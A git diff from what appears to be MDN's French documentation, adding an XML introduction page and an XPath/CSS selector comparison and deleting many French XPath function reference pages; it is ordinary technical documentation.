-{{ languages( { "en": "en/XML_Introduction", "es": "es/Introducci\u00f3n_a_XML", "ja": "ja/XML_Introduction", "pl": "pl/Wprowadzenie_do_XML-a", "zh-cn": "cn/XML_\u4ecb\u7ecd" } ) }} diff --git a/files/fr/web/xml/xml_introduction/index.html b/files/fr/web/xml/xml_introduction/index.html new file mode 100644 index 0000000000..4f502262eb --- /dev/null +++ b/files/fr/web/xml/xml_introduction/index.html @@ -0,0 +1,116 @@ +--- +title: Introduction à XML +slug: Web/XML/Introduction_à_XML +tags: + - XML +translation_of: Web/XML/XML_introduction +--- +

+


+

+

Définition

+

XML, pour eXtensible Markup Language (langage de balisage extensible), est un langage de balisage généraliste recommandé par le W3C comme l'est HTML. XML est un sous-ensemble du langage SGML. Cela signifie que contrairement aux autres langages de balisages, XML n'est pas prédéfini, vous devez définir vos propres balises. Le but principal de ce langage est le partage de données entre différents systèmes, tel qu'Internet. +

De nombreux autres langages sont basés sur XML, comme par exemple XHTML, MathML, SVG, XUL, XBL, RSS et RDF. Vous pouvez créer votre propre langage basé sur XML. +

+

Du XML « correct » (valide et « bien formé »)

+

Pour être correct, un document XML doit être « bien formé », se conformer à toutes les règles de syntaxe du XML, et « valide », se conformer aux règles d'un langage spécifique. +

La plupart des navigateurs, dont Mozilla, offrent un outil de validation qui informera souvent lors de la lecture ou de l'affichage de documents mal formés. +

+

Exemple

+

Voici un exemple de document mal formé : un des éléments possédant une balise d'ouverture, <warning>, n'a pas de balise de fermeture et ce n'est pas un élément vide (ou auto-fermant comme les balises <br /> ou <img /> en XHTML). +

+
<code>
+  <message>
+    <warning>
+      Hello World
+  </message>
+</code>
+
+

L'exemple qui suit est correct et « bien formé » : +

+
<code>
+  <message>
+    <warning>
+      Hello World
+    </warning>
+  </message>
+</code>
+
+

Pour être valide, un document doit se conformer à des règles sémantiques qui sont habituellement définies dans un XML Schema ou une Document Type Definition. Un document qui contient une balise non définie n'est pas valide. Dans notre exemple ci-dessus, si nous ne définissons pas la balise <warning> alors notre document ne sera pas valide. +

+

Entités

+

Comme le HTML, le XML fournit des méthodes (appelées entités) pour se référer à certains caractères spéciaux réservés (tel que le signe « plus grand que » utilisé pour les balises). Il faut connaître 5 de ces caractères spéciaux : +

+ + + + + + + + + + + + +
Codage +Entité +Description +
&lt; +< +Un signe « plus petit que ». +
&gt; +> +Un signe « plus grand que ». +
&amp; +& +Esperluette (signe ET). +
&quot; +" +Un guillemet anglais. +
&apos; +' +Une apostrophe simple. +
+

Même s'il n'y a que 5 entités déclarées, il est possible d'en ajouter d'autres grâce à la Document Type Definition, comme décrit ci-dessous : +

+
<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE body [
+    <!ENTITY warning "Avertissement : Quelque chose ne fonctionne pas correctement…
+                      Veuillez rafraîchir et réessayer.">
+]>
+<body>
+  <message> &warning; </message>
+</body>
+
+

Vous pouvez également utiliser les références numériques de caractères pour employer ces caractères spéciaux telles que &#xA9; pour un signe ©. Vous trouverez plus d'informations à propos des références numériques de caractères spéciaux sur Numeric character reference (en). +

+

Affichage de XML

+

Il y a deux manières différentes d'utiliser le XML pour la présentation, et cela peut aller d'une transformation en HTML à la génération d'un document PDF ou d'images. +

Une manière d'appliquer un style sur une page XML est d'utiliser une feuille de style CSS avec la déclaration xml-stylesheet. +

+
<?xml-stylesheet type="text/css" href="stylesheet.css"?>
+

L'autre technique utilise la puissance de XSLT, qui est capable de transformer les balises XML en toute autre chose, les possibilités sont alors presque infinies. +

+
<?xml-stylesheet type="text/xsl" href="transform.xsl"?>
+

Recommandations

+

Cet article n'est qu'une introduction rapide à XML ; pour plus de détails, parcourez le Web à la recherche d'articles allant plus en profondeur. +

L'apprentissage du langage de balisage HTML vous aidera à mieux comprendre XML. Vous trouverez également plus d'informations en explorant le Mozilla Developer Center. +

Voici une liste d'articles de référence sur le Web : +

+ +

L'article Using XML (en) est une ressource particulièrement intéressante sur la transformation et la création de votre propre langage XML. +

+
+

Informations sur le document

+ +
+{{ languages( { "en": "en/XML_Introduction", "es": "es/Introducci\u00f3n_a_XML", "ja": "ja/XML_Introduction", "pl": "pl/Wprowadzenie_do_XML-a", "zh-cn": "cn/XML_\u4ecb\u7ecd" } ) }} diff --git a/files/fr/web/xpath/comparison_with_css_selectors/index.html b/files/fr/web/xpath/comparison_with_css_selectors/index.html new file mode 100644 index 0000000000..2a35cb5611 --- /dev/null +++ b/files/fr/web/xpath/comparison_with_css_selectors/index.html @@ -0,0 +1,49 @@ +--- +title: Comparison entre les sélecteurs CSS et XPath +slug: Web/CSS/Sélecteurs_CSS/Comparison_with_XPath +tags: + - CSS + - Draft + - NeedsContent + - Reference + - XPath +translation_of: Web/XPath/Comparison_with_CSS_selectors +--- +
{{CSSRef("Selectors")}}{{QuickLinksWithSubpages("/fr/docs/Web/XPath")}}{{Draft}}
+ +

Dans cet article, nous listerons les différences entre les sélecteurs CSS et les fonctionnalités XPath afin que les développeurs web puissent choisir l'outil le plus pertinent.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Fonctionnalité XPathÉquivalent CSS
Axe ancestor, parent ou preceding-sibling{{CSSxRef(":has",":has()")}} selector {{experimental_inline}}
Axe attributeSélecteurs d'attribut
Axe childSélecteurs d'enfant
Axe descendantSélecteur de descendant
Axe following-siblingSélecteur de voisin général ou sélecteur de voisin direct
Axe selfSélecteur {{CSSxRef(":scope")}} ou {{CSSxRef(":host")}}
diff --git a/files/fr/web/xpath/fonctions/boolean/index.html b/files/fr/web/xpath/fonctions/boolean/index.html deleted file mode 100644 index c48fd233c6..0000000000 --- a/files/fr/web/xpath/fonctions/boolean/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: boolean -slug: Web/XPath/Fonctions/boolean -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/boolean ---- -

-{{ XsltRef() }} -


-la fonction boolean évalue une expression et retourne true ou false. -

-

Syntaxe

-
boolean( expression )
-
-

Arguments

-
expression -
L'expression à évaluer. L'expression peut faire référence à des nombres, des ensembles de nœuds, comme à des valeurs booléennes. -
-

Retour

-

La valeur booléenne true ou false en fonction de l'évaluation de expression. -

-

Notes

-
  • Un nombre est évalué à false si c'est un zéro positif ou négatif ou NaN. Autrement, il est évalué à true. -
  • Un ensemble de nœuds est évalué à true s'il n'est pas vide. -
  • Une chaîne est évaluée à false si elle est vide. Autrement, elle est évaluée à true. -
  • Un objet de type autre que les quatre types de bases, est converti en booléen par une méthode qui dépend de son type. -
-

Définition

-

XPath 1.0, section 4.3. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/boolean", "ja": "ja/XPath/Functions/boolean", "pl": "pl/XPath/Funkcje/boolean" } ) }} diff --git a/files/fr/web/xpath/fonctions/ceiling/index.html b/files/fr/web/xpath/fonctions/ceiling/index.html deleted file mode 100644 index ca27303779..0000000000 --- a/files/fr/web/xpath/fonctions/ceiling/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: ceiling -slug: Web/XPath/Fonctions/ceiling -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/ceiling ---- -

-{{ XsltRef() }} -


-La fonction ceiling évalue un nombre décimal et retourne le plus petit nombre entier supérieur ou égal au nombre évalué. -

-

Syntaxe

-
ceiling( nombre )
-
-

Arguments

-
nombre -
Le nombre décimal à évaluer. -
-

Retour

-

Le plus petit entier supérieur ou égal à nombre. -

Par exemple : -

-
ceiling (5.2) = 6

-ceiling (-5.2) = -5
-
-

Définition

-

XPath 1.0, section 4.4. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/ceiling", "ja": "ja/XPath/Functions/ceiling", "pl": "pl/XPath/Funkcje/ceiling" } ) }} diff --git a/files/fr/web/xpath/fonctions/concat/index.html b/files/fr/web/xpath/fonctions/concat/index.html deleted file mode 100644 index b724dd4a1e..0000000000 --- a/files/fr/web/xpath/fonctions/concat/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: concat -slug: Web/XPath/Fonctions/concat -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/concat ---- -

-{{ XsltRef() }} -


-La fonction concat concatène deux ou plusieurs chaînes et retourne la chaîne résultante. -

-

Syntaxe

-
concat( chaîne1 , chaîne2 [, chaînen]* )
-
-

Arguments

-
chaînen -
Cette fonction accepte deux arguments ou plus. Chacun est une chaîne. -
-

Retour

-

Une chaîne unique, résultat de la concaténation des chaînes passées en arguments à la fonction. -

-

Définition

-

XPath 1.0, section 4.2. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/concat", "ja": "ja/XPath/Functions/concat", "pl": "pl/XPath/Funkcje/concat" } ) }} diff --git a/files/fr/web/xpath/fonctions/contains/index.html b/files/fr/web/xpath/fonctions/contains/index.html deleted file mode 100644 index 72be24ec8e..0000000000 --- a/files/fr/web/xpath/fonctions/contains/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: contains -slug: Web/XPath/Fonctions/contains -translation_of: Web/XPath/Functions/contains ---- -

{{ XsltRef() }}

- -


- La fonction contains détermine si la chaîne passée en premier argument contient la chaîne passée en second argument et retourne le booléen true ou false.

- -

Syntaxe

- -
contains( meule , aiguille )
-
- -

Arguments

- -
-
meule
-
La chaîne dans laquelle chercher.
-
- -
-
aiguille
-
La chaîne à rechercher dans meule
-
- -

Retour

- -

true si meule contient aiguille. Autrement, false.

- -

Définition

- -

XPath 1.0, section 4.2.

- -

Support Gecko

- -

Supportée.

- -

Interwiki Languages Links

- -

{{ languages( { "en": "en/XPath/Functions/contains", "es": "es/XPath/Funciones/contains", "ja": "ja/XPath/Functions/contains", "pl": "pl/XPath/Funkcje/contains" } ) }}

diff --git a/files/fr/web/xpath/fonctions/count/index.html b/files/fr/web/xpath/fonctions/count/index.html deleted file mode 100644 index d173536a77..0000000000 --- a/files/fr/web/xpath/fonctions/count/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: count -slug: Web/XPath/Fonctions/count -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/count ---- -

-{{ XsltRef() }} -


-La fonction count compte le nombre de nœuds dans un ensemble de nœuds et retourne un entier. -

-

Syntaxe

-
count( ensemble-de-nœuds )
-
-

Arguments

-
ensemble-de-nœuds -
L'ensemble de nœuds à compter. -
-

Retour

-

Un entier représentant le nombre de nœuds contenus dans l'ensemble. -

-

Définition

-

1.0, section 4.1. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/count", "ja": "ja/XPath/Functions/count", "pl": "pl/XPath/Funkcje/count" } ) }} diff --git a/files/fr/web/xpath/fonctions/current/index.html b/files/fr/web/xpath/fonctions/current/index.html deleted file mode 100644 index 692ac83cc1..0000000000 --- a/files/fr/web/xpath/fonctions/current/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: current -slug: Web/XPath/Fonctions/current -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/current ---- -

-{{ XsltRef() }} -

La fonction current peut être utilisée pour obtenir le nœud courant dans une instruction XSLT. -

-

Syntaxe

-
current()
-
-

Retour

-

Un ensemble de nœuds contenant uniquement le nœud courant. -

-

Notes

-

Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath core. -

Le nœud courant est toujours identique au nœud de contexte. Les deux exemples suivants sont sémantiquement équivalents : -

-
<xsl:value-of select="current()"/>
-
-
<xsl:value-of select="."/>
-
-

Définition

-

XSLT 1.0, section 12.4. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

{{ languages( { "en": "en/XPath/Functions/current", "pl": "pl/XPath/Funkcje/current" } ) }} diff --git a/files/fr/web/xpath/fonctions/document/index.html b/files/fr/web/xpath/fonctions/document/index.html deleted file mode 100644 index ad4f52bab4..0000000000 --- a/files/fr/web/xpath/fonctions/document/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: document -slug: Web/XPath/Fonctions/document -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/document ---- -

-{{ XsltRef() }} -


-La fonction document recherche un ensemble de nœuds dans un ou des documents externes et retourne l'ensemble de nœuds résultant. -

-

Syntaxe

-
document( URI [, ensemble-de-nœuds] )
-
-

Arguments

-
URI -
URI absolue ou relative du document à récupérer. L'URI peut également contenir un identifiant de fragment. -
-
ensemble-de-nœuds (optionnel) -
Une expression pointant vers un ensemble de nœuds du document externe, qui doit être retourné. -
-

Retour

-

Un ensemble de nœuds. -

-

Notes

-
  • Si l'URI contient un identifiant de fragment et que celui-ci peut être repérer dans le document externe, alors ce fragment sera traité comme la racine pour rechercher l'expression de l'argument ensemble-de-nœuds. Si l'argument ensemble-de-nœuds est omis, le fragment entier sera retourné. -
-
  • Si l'argument URI est un ensemble de nœuds et que le second argument est présent, chaque nœud de l'ensemble de nœuds sera évalué comme une URI séparée, et l'ensemble de nœuds retourné sera le même que si la fonction document avait été appelée plusieurs fois, et que les résultats avait été concaténés dans un unique ensemble de nœuds. -
-
  • D'autres situations particulières existent avec des comportements bien définis. Pour plus d'informations, consultez la documentation XSLT 1.0. -
-
  • Puisque l'URI est relative au document XSL, document("") retournera le nœud racine du document courant. -
-

Cette fonction est un ajout à XPath qui est spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions de XPath core. -

-

Définition

-

XSLT 1.0, section 12.1. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

{{ languages( { "en": "en/XPath/Functions/document", "pl": "pl/XPath/Funkcje/document" } ) }} diff --git a/files/fr/web/xpath/fonctions/element-available/index.html b/files/fr/web/xpath/fonctions/element-available/index.html deleted file mode 100644 index f27dfbcccc..0000000000 --- a/files/fr/web/xpath/fonctions/element-available/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: element-available -slug: Web/XPath/Fonctions/element-available -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/element-available ---- -

-{{ XsltRef() }} -


-La fonction element-available détermine si un élément est disponible et retourne la valeur booléenne true ou false. -

-

Syntaxe

-
element-available( QName )
-
-

Arguments

-
QName -
Doit s'évaluer en un QName valide. Le QName est développé en nom étendu à l'aide des déclarations d'espaces de nommage s'appliquant à l'expression. Le nom étendu est constitué d'une partie locale, une chaîne, et d'une URI d'espace de nommage. -
-

Retour

-

Retourne true si et seulement si le nom étendu est un nom d'instruction. Si le nom étendu a une URI d'espace de nommage égale à l'URI de l'espace de nommage XSLT, alors il se rapporte à un élément défini par XSLT. Autrement, il se rapporte à un élément d'extension. Si le nom étendu a une URI d'espace de nommage null, la fonction element-available retournera false. -

-

Définition

-

XSLT 1.0, section 15. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

{{ languages( { "en": "en/XPath/Functions/element-available", "pl": "pl/XPath/Funkcje/element-available" } ) }} diff --git a/files/fr/web/xpath/fonctions/false/index.html b/files/fr/web/xpath/fonctions/false/index.html deleted file mode 100644 index 8b6e7a611a..0000000000 --- a/files/fr/web/xpath/fonctions/false/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: 'false' -slug: Web/XPath/Fonctions/false -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/false ---- -

-{{ XsltRef() }} -


-La fonction false retourne le booléen false. -

-

Syntaxe

-
false()
-
-

Retour

-

Booléen false. -

-

Notes

-

Cette fonction est utile dans les comparaisons : -

-
<xsl:if test="boolean((1 > 2) = false())">
- L'expression évaluée comme fausse
-</xsl:if>
-
-

Définition

-

XPath 1.0, section 4.3. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/false", "ja": "ja/XPath/Functions/false", "pl": "pl/XPath/Funkcje/false" } ) }} diff --git a/files/fr/web/xpath/fonctions/floor/index.html b/files/fr/web/xpath/fonctions/floor/index.html deleted file mode 100644 index 36f96d9c5d..0000000000 --- a/files/fr/web/xpath/fonctions/floor/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: floor -slug: Web/XPath/Fonctions/floor -tags: - - Fonction - - Reference - - Référence_XSLT - - XPath - - XSLT -translation_of: Web/XPath/Functions/floor ---- -

{{ XsltRef() }}

-


- La fonction floor évalue un nombre décimal et retourne le plus grand nombre entier inférieur ou égal au nombre évalué.

-

Syntaxe

-
floor(nombre )
-
-

Arguments

-
-
- - - nombre -
-
- Le nombre décimal à évaluer.
-
-

Retour

-

Le plus grand nombre entier inférieur ou égal à - - nombre - .

-

Définition

-

XPath 1.0, section 4.4.

-

Support Gecko

-

Supportée.

diff --git a/files/fr/web/xpath/fonctions/format-number/index.html b/files/fr/web/xpath/fonctions/format-number/index.html deleted file mode 100644 index a9027215bc..0000000000 --- a/files/fr/web/xpath/fonctions/format-number/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: format-number -slug: Web/XPath/Fonctions/format-number -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/format-number ---- -

-{{ XsltRef() }} -


-La fonction format-number évalue un nombre et retourne une chaîne représentant le nombre dans un format donné. -

-

Syntaxe

-
format-number( nombre , motif [, format-décimal] )
-
-

Arguments

-
nombre -
Le nombre à formater. -
-
motif -
Une chaîne au format de la classe Decimal Format (en) du JDK 1.1. La notice du JDK 1.1 n'est plus disponible. Vous trouverez ici la notice pour le JSE 6: Decimal Format (en) -
-
format-décimal (optionnel) -
Le nom d'un élément xsl:decimal-format qui définit le format de nombre à utiliser. Si il est omis, le format décimal par défaut est utilisé. -
-

Retour

-

Une chaîne représentant le nombre dans le nouveau format. -

-

Notes

-

Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath principale. -

-

Définition

-

XSLT 1.0, section 12.3. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

{{ languages( { "en": "en/XPath/Functions/format-number", "pl": "pl/XPath/Funkcje/format-number" } ) }} diff --git a/files/fr/web/xpath/fonctions/function-available/index.html b/files/fr/web/xpath/fonctions/function-available/index.html deleted file mode 100644 index cfde97a7a5..0000000000 --- a/files/fr/web/xpath/fonctions/function-available/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: function-available -slug: Web/XPath/Fonctions/function-available -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/function-available ---- -

-{{ XsltRef() }} -


-La fonction function-available détermine si une fonction donnée est disponible et retourne le booléen true ou false. -

-

Syntaxe

-
function-available( nom )
-
-

Arguments

-
nom -
Le nom de la fonction à tester. -
-

Retour

-

La valeur booléenne true ou false. -

-

Définition

-

XPath 1.0, section 15. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

{{ languages( { "en": "en/XPath/Functions/function-available", "pl": "pl/XPath/Funkcje/function-available" } ) }} diff --git a/files/fr/web/xpath/fonctions/generate-id/index.html b/files/fr/web/xpath/fonctions/generate-id/index.html deleted file mode 100644 index 69c5e6e277..0000000000 --- a/files/fr/web/xpath/fonctions/generate-id/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: generate-id -slug: Web/XPath/Fonctions/generate-id -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/generate-id ---- -

-{{ XsltRef() }} -


-La fonction generate-id génère un identifiant id unique pour le premier nœud d'un ensemble de nœuds donné et retourne une chaîne contenant cet id. -

-

Syntaxe

-
generate-id( [ensemble-de-nœuds] )
-
-

Arguments

-
ensemble-de-nœuds (optionnel) -
Un id sera généré pour le premier nœud de cet ensemble de nœuds. S'il est omis, le nœud de contexte courant sera utilisé. -
-

Retour

-

Une chaîne contenant l'id généré. -

-

Notes

-
  • Le même id doit être généré à chaque fois pour le même nœud dans le document courant pour la transformation courante. -
-
  • L'id généré peut ne pas être le même pour les transformations subséquentes. -
-

Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath principale. -

-

Définition

-

XSLT 1.0, section 12.4. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

{{ languages( { "en": "en/XPath/Functions/generate-id", "pl": "pl/XPath/Funkcje/generate-id" } ) }} diff --git a/files/fr/web/xpath/fonctions/id/index.html b/files/fr/web/xpath/fonctions/id/index.html deleted file mode 100644 index 587bdf6e03..0000000000 --- a/files/fr/web/xpath/fonctions/id/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: id -slug: Web/XPath/Fonctions/id -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/id ---- -

-{{ XsltRef() }} -


-La fonction id recherche les nœuds correspondant aux identifiants id donnés et retourne un ensemble de nœuds contenant les nœuds identifiés. -

-

Syntaxe

-
id( expression )
-
-

Arguments

-
expression -
Si expression est un ensemble de nœuds, alors la valeur de la chaîne de chacun des nœuds de l'ensemble est traitée individuellement. Les nœuds retournés sont ceux corespondant à ces identifiants id. -
-
Si expression est une chaîne, ou n'importe quoi d'autre qu'un ensemble de nœuds, alors expression est traitée comme une liste d'identifiants id séparés par des espaces L'ensemble de nœuds retourné comprend les nœuds corespondant à ces identifiants id. -
-

Retour

-

Un ensemble de nœuds contenant les nœuds identifiés par les id donnés. -

-

Notes

- -

Définition

-

XPath 1.0, section 4.1. -

-

Support Gecko

-

Partiellement supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/id", "ja": "ja/XPath/Functions/id", "pl": "pl/XPath/Funkcje/id" } ) }} diff --git a/files/fr/web/xpath/fonctions/index.html b/files/fr/web/xpath/fonctions/index.html deleted file mode 100644 index 3c0b92453f..0000000000 --- a/files/fr/web/xpath/fonctions/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Fonctions -slug: Web/XPath/Fonctions -tags: - - Référence_XPath - - Référence_XSLT - - XPath -translation_of: Web/XPath/Functions ---- -

 

-

{{ XsltRef() }} La liste ci-dessous regroupe les principales fonctions de XPath et les ajouts à XPath qui sont spécifiques à XSLT. Chaque lien fournit pour la fonction correspondante description, syntaxe, liste d'arguments, types de résultats, description originelle dans les recommandations du W3C, et niveau de support actuel dans Gecko. Pour plus d'informations sur l'utilisation des fonctions XPath/XSLT, reportez-vous à la page Autres ressources.

- -

Interwiki Languages Links

-

 

-
-  
-

{{ languages( { "en": "en/XPath/Functions", "ja": "ja/XPath/Functions", "pl": "pl/XPath/Funkcje", "zh-cn": "cn/XPath/Functions" } ) }}

diff --git a/files/fr/web/xpath/fonctions/key/index.html b/files/fr/web/xpath/fonctions/key/index.html deleted file mode 100644 index 48dc4c49f5..0000000000 --- a/files/fr/web/xpath/fonctions/key/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: key -slug: Web/XPath/Fonctions/key -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/key ---- -

-{{ XsltRef() }} -


-La fonction key retourne un ensemble de nœuds ayant la valeur donnée pour la clef donnée. -

-

Syntaxe

-
key( nom-de-clef , valeur )
-
-

Arguments

-
nom-de-clef -
Une chaîne contenant le nom de l'élément xsl:key à utiliser. -
-
valeur -
L'ensemble de nœuds retourné contiendra chaque nœud qui possède cette valeur pour la clef donnée. -
-

Retour

-

Un ensemble de nœuds. -

-

Notes

-
  • L'élément xsl:key définit quel attribut de quels éléments donnés sera utilisé pour la comparaison. -
-

Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath principale. -

-

Définition

-

XSLT 1.0, section 12.2. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

{{ languages( { "en": "en/XPath/Functions/key", "pl": "pl/XPath/Funkcje/key" } ) }} diff --git a/files/fr/web/xpath/fonctions/lang/index.html b/files/fr/web/xpath/fonctions/lang/index.html deleted file mode 100644 index 6ce39f2dc1..0000000000 --- a/files/fr/web/xpath/fonctions/lang/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: lang -slug: Web/XPath/Fonctions/lang -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/lang ---- -

-{{ XsltRef() }} -


-La fonction lang détermine si le nœud de contexte correspond à la langue indiquée et retourne le booléen true ou false. -

-

Syntaxe

-
lang( chaîne )
-
-

Arguments

-
chaîne -
Le code de langue ou de localisation (langue et pays) à vérifier. -
-

Retour

-

true si le noeud de contexte est dans la langue donnée, false autrement. -

-

Notes

-
  • La langue d'un nœud est déterminée par son attribut xml:lang. Si le nœud courant ne possède pas cet attribut, alors la valeur de l'attribut xml:lang du plus proche ancêtre le possédant déterminera la langue du nœud courant. Si la langue ne peut être déterminée (aucun ancêtre avec un attribut xml:lang), cette fonction retourne le booléen false. -
-
  • Si la chaîne donnée ne spécifie pas de code de pays, cette fonction sélectionnera les nœuds dans la langue spécifiée, suivie éventuellement de n'importe quel code de pays. La réciproque n'est pas vraie. -
-

Regardons le code XML suivant : -

-
<p xml:lang="en">I went up a floor.</p>
-<p xml:lang="en-GB">I took the lift.</p>
-<p xsl:lang="en-US">I rode the elevator.</p>
-

et ce modèle XSL : -

-
<xsl:value-of select="count(//p[lang('en')])" />
-<xsl:value-of select="count(//p[lang('en-GB')])" />
-<xsl:value-of select="count(//p[lang('en-US')])" />
-<xsl:value-of select="count(//p[lang('de')])" />
-
-

La sortie sera : -

-
3
-1
-1
-0
-
-

Définition

-

XPath 1.0, section 4.3. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/lang", "ja": "ja/XPath/Functions/lang", "pl": "pl/XPath/Funkcje/lang" } ) }} diff --git a/files/fr/web/xpath/fonctions/last/index.html b/files/fr/web/xpath/fonctions/last/index.html deleted file mode 100644 index 2482ff891f..0000000000 --- a/files/fr/web/xpath/fonctions/last/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: last -slug: Web/XPath/Fonctions/last -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/last ---- -

-{{ XsltRef() }} -


-La fonction last retourne un nombre égal à la taille du contexte dans le contexte d'évaluation d'expression. -

-

Syntaxe

-
last()
-
-

Retour

-

Un entier égal à la taille du contexte dans le contexte d'évaluation d'expression. -

-

Notes

-
  • Cette fonction est souvent utilisée avec la fonction position() pour déterminer si un nœud particulier est le dernier d'un ensemble de nœud. -
-

Définition

-

XPath 1.0, section 4.1. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/last", "ja": "ja/XPath/Functions/last", "pl": "pl/XPath/Funkcje/last" } ) }} diff --git a/files/fr/web/xpath/fonctions/local-name/index.html b/files/fr/web/xpath/fonctions/local-name/index.html deleted file mode 100644 index 6eeb89c283..0000000000 --- a/files/fr/web/xpath/fonctions/local-name/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: local-name -slug: Web/XPath/Fonctions/local-name -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/local-name ---- -

-{{ XsltRef() }} -


-La fonction local-name retourne une chaîne représentant le nom local du premier nœud d'un ensemble de nœuds donné. -

-

Syntaxe

-
local-name( [ensemble-de-nœuds] )
-
-

Arguments

-
ensemble-de-nœuds (optionnel) -
Le nom local du premier nœud de cet ensemble de nœuds sera retourné. Si cet argument est omis, le nœud de contexte courant sera utilisé. -
-

Retour

-

Une chaîne. -

-

Notes

- -

Définition

-

XPath 1.0, section 4.1. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/local-name", "ja": "ja/XPath/Functions/local-name", "pl": "pl/XPath/Funkcje/local-name" } ) }} diff --git a/files/fr/web/xpath/fonctions/name/index.html b/files/fr/web/xpath/fonctions/name/index.html deleted file mode 100644 index f84ecace25..0000000000 --- a/files/fr/web/xpath/fonctions/name/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: name -slug: Web/XPath/Fonctions/name -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/name ---- -

-{{ XsltRef() }} -


-La fonction name retourne une chaîne représentant le QName du premier nœud d'un ensemble de nœuds donné. -

-

Syntaxe

-
name( [ensemble-de-nœuds] )
-
-

Arguments

-
ensemble-de-nœuds (optionnel) -
Le QName du premier nœud de cet ensemble de nœuds sera retourné. Si cet argument est omis, le nœud de contexte courant sera utilisé. -
-

Retour

-

Une chaîne représentant le QName d'un nœud. -

-

Notes

-
  • Le QName est le nom qualifié du nœud, incluant le préfixe de son espace de nommage et son nom local. -
-

Définition

-

XPath 1.0, section 4.1. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/name", "ja": "ja/XPath/Functions/name", "pl": "pl/XPath/Funkcje/name" } ) }} diff --git a/files/fr/web/xpath/fonctions/namespace-uri/index.html b/files/fr/web/xpath/fonctions/namespace-uri/index.html deleted file mode 100644 index 40bbbacd5e..0000000000 --- a/files/fr/web/xpath/fonctions/namespace-uri/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: namespace-uri -slug: Web/XPath/Fonctions/namespace-uri -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/namespace-uri ---- -

-{{ XsltRef() }} -


-La fonction namespace-uri retourne une chaîne représentant l'URI de l'espace de nommage du premier nœud d'un ensemble de nœuds donné. -

-

Syntaxe

-
namespace-uri( [ensemble-de-nœuds] )
-
-

Arguments

-
ensemble-de-nœuds (optionnel) -
L'URI de l'espace de nommage du premier nœud de cet ensemble de nœuds sera retournée. Si cet argument est omis, le nœud de contexte courant sera utilisé. -
-

Retour

-

Une chaîne représentant l'URI de l'espace de nommage dans lequel se trouve le nœud donné. -

-

Notes

-
  • S'il n'y a pas d'espace de nommage spécifié pour le noeud donné, la chaîne retournée sera une chaîne vide. -
-
